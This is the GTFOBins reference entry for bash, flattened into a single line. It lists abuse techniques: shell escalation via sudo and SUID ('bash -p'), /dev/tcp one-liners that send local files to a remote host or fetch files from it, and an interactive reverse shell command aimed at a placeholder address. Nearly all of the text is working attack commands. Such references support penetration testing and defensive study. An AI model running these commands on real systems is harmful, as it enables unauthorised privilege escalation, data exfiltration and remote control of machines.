GTFOBins.github.io/_gtfobins/bash.md

functions

exec-interactive sudo-enabled suid-enabled upload download reverse-shell code bash code sudo bash code ./bash -p description code Send local file in the body of an HTTP POST request. Run an HTTP service to collect the file from the other end. RHOST=10.0.0.1 RPORT=8000 LFILE=file_to_send echo -e "POST / HTTP/0.9\n\n$(cat $LFILE)" > /dev/tcp/$RHOST/$RPORT description code Send local file using a TCP connection. Run `nc -l -p 8000 > "where_to_save"` to collect the file on the other end. RHOST=10.0.0.1 RPORT=8000 LFILE=file_to_send cat $LFILE > /dev/tcp/$RHOST/$RPORT description code Fetch a remote file via HTTP GET request. RHOST=10.0.0.1 RPORT=8000 LFILE=file_to_get (echo -e "GET /$LFILE HTTP/0.9\r\n\r\n" 1>&3 & cat 0<&3) 3<>/dev/tcp/$RHOST/$RPORT | (read i; while [ "$(echo $i | tr -d '\r')" != "" ]; do read i; done; cat) > $LFILE description code Fetch remote file using a TCP connection. Run `nc -l -p 8000 < "file_to_send"` to send the file from the other end. RHOST=10.0.0.1 RPORT=8000 LFILE=file_to_get cat < /dev/tcp/$RHOST/$RPORT > $LFILE description code Run `nc -l -p 8000` to receive the shell on the other end. RHOST=10.0.0.1 RPORT=8000 bash -i >& /dev/tcp/$RHOST/$RPORT 0>&1